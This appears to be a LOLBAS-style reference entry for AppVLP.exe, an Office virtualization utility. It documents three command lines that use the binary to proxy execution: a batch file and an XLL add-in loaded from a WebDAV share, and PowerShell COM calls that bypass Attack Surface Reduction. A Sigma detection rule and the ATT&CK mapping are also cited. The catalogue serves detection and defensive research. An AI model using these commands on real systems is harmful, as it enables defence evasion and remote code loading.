



/Appvlp.exe ☆ Star 7,060

Execute

Application Virtualization Utility Included with Microsoft Office 2016

Paths:

C:\Program Files\Microsoft Office\root\client\appvlp.exe
C:\Program Files (x86)\Microsoft Office\root\client\appvlp.exe

Resources:

- <https://github.com/MoooKitty/Code-Execution>
- https://twitter.com/moo_hax/status/892388990686347264
- <https://enigma0x3.net/2018/06/11/the-tale-of-settingcontent-ms-files/>
- <https://securityboulevard.com/2018/07/attackers-test-new-document-attack-vector-that-slips-past-office-defenses/>

Acknowledgements:

- fab ([@0rbz_](#))
- Will ([@moo_hax](#))
- Matt Wilson ([@enigma0x3](#))

Detections:

- Sigma: [proc_creation_win_lolbin_appvlp.yml](#)

Execute

- Executes calc.bat through AppVLP.exe

```
AppVLP.exe \\webdav\calc.bat
```

Use case: Execution of BAT file hosted on Webdav server.
Privileges required: User
Operating systems: Windows 10 w/Office 2016
ATT&CK® technique: [T1218: System Binary Proxy Execution](#)

- Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command.

```
AppVLP.exe powershell.exe -c "$e=New-Object -ComObject shell.application;$e.ShellExecute('calc.exe','', '','open', 1)"
```

Use case: Local execution of process bypassing Attack Surface Reduction (ASR).
Privileges required: User
Operating systems: Windows 10 w/Office 2016
ATT&CK® technique: [T1218: System Binary Proxy Execution](#)

- Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command.

```
AppVLP.exe powershell.exe -c "$e=New-Object -ComObject excel.application;$e.RegisterXLL('\\webdav\xll_poc.xll')"
```

Use case: Local execution of process bypassing Attack Surface Reduction (ASR).
Privileges required: User
Operating systems: Windows 10 w/Office 2016
ATT&CK® technique: [T1218: System Binary Proxy Execution](#)